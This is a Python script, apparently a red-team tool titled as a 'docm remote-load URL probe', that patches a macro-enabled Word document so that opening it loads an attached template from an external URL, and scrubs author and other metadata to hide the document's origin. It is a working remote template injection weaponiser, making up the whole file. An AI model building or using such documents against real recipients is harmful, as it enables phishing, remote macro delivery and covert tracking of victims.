docm远程加载url探针

docpatch.py

import os
import uuid
import shutil
import zipfile
import lxml.etree

def inplace_change(filename, old_string, new_string):
    """打开文件替换字符串"""
    s = ''
    with open(filename) as f:
        s = f.read()
        if old_string not in s:
            return
    with open(filename, 'w') as f:
        s = s.replace(old_string, new_string)
        f.write(s)


def zip_folder(dirpath, zippath):
    """将一个文件夹下所有文件zip打包
    
    Args:
        dirpath: 需要打包的文件夹路径
        zippath: 输出的zip文件的路径
    """
    with zipfile.ZipFile(zippath, 'w') as zip_handler:
        for root, dirs, files in os.walk(dirpath):
            for file in files:
                # 主要是为了zip打包层级考虑
                abspath = os.path.join(root, file)
                relpath = os.path.relpath(abspath, dirpath)
                zip_handler.write(abspath, relpath)


def docpatch(document_path: str, url: str, tempdir: str) -> str:
    """修改docm文件支持远程加载url
    
    Args:
        document_path: docm文件路径
        url: 需要加载的url
        tempdir: 存放临时文件的目录
    Returns:
        处理后的docm文件的地址
    References:
        - https://github.com/chrismaddalena/DocPatch
    """

    uid_name = str(uuid.uuid4())
    _tempdir = os.path.join(tempdir, uid_name)
    core_xml_loc = f"{_tempdir}/docProps/core.xml"
    settings_file_loc = f"{_tempdir}/word/settings.xml"
    theme_file_loc = f"{_tempdir}/word/_rels/settings.xml.rels"

    themes_value = f'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\
    <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">\
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" \
    Target="{url}" TargetMode="External"/></Relationships>'
    
    # 创建临时文件夹
    if not os.path.exists(_tempdir):
        os.makedirs(_tempdir)

    # 解压doc文件编辑XML
    try:
        with zipfile.ZipFile(document_path, 'r') as zip_handler:
            zip_handler.extractall(_tempdir)
    except Exception as e:
        print("[!] Oops! The document could not be unzipped. Are you sure it's a valid macro-enabled Word document?")
        print(f"L.. Details: {str(e)}")
    
    # 编辑 settings.xml 和 settings.xml.rels 中的样式表
    inplace_change(settings_file_loc, '</w:settings>', '<w:attachedTemplate r:id="rId1"/></w:settings>')
    with open(theme_file_loc, 'w') as fh:
        fh.write(themes_value)
    
    # 编辑 docProps/core.xml 重写元数据
    # 声明xml解析时的命名空间
    dc_ns = {'dc': 'http://purl.org/dc/elements/1.1/'}
    cp_ns = {'cp': 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties'}
    # 最后修改者名字
    user_name = "Anonymous"
    # 解析xml并更新
    root = lxml.etree.parse(core_xml_loc)
    creator = root.xpath('//dc:creator', namespaces=dc_ns)
    last_modified_user = root.xpath('//cp:lastModifiedBy', namespaces=cp_ns)
    if creator:
        creator[0].text = user_name
    if last_modified_user:
        last_modified_user[0].text = user_name
    tags = root.xpath('//cp:keywords', namespaces=cp_ns)
    if tags:
        tags[0].text = "None"
    description = root.xpath('//dc:description', namespaces=dc_ns)
    if description:
        description[0].text = "None"

    # 更新写入 core.xml 内容
    with open(core_xml_loc, 'wb') as fh:
        fh.write(b'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n')
        fh.write(lxml.etree.tostring(root))
    
    # 使用新的XML打包doc
    suffix = os.path.splitext(document_path)[1]
    result_filename = f'{uid_name}{suffix}'
    result_filepath = os.path.join(tempdir, result_filename)
    zip_folder(_tempdir, result_filepath)

    # 删除临时目录
    shutil.rmtree(_tempdir)

    return result_filepath


if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print(f'python {sys.argv[0]} docm文件 加载的url')
        sys.exit(1)
    docpath = os.path.abspath(sys.argv[1])
    url = sys.argv[2]
    tempdir = os.path.dirname(docpath)
    res = docpatch(docpath, url, tempdir)
    print(res)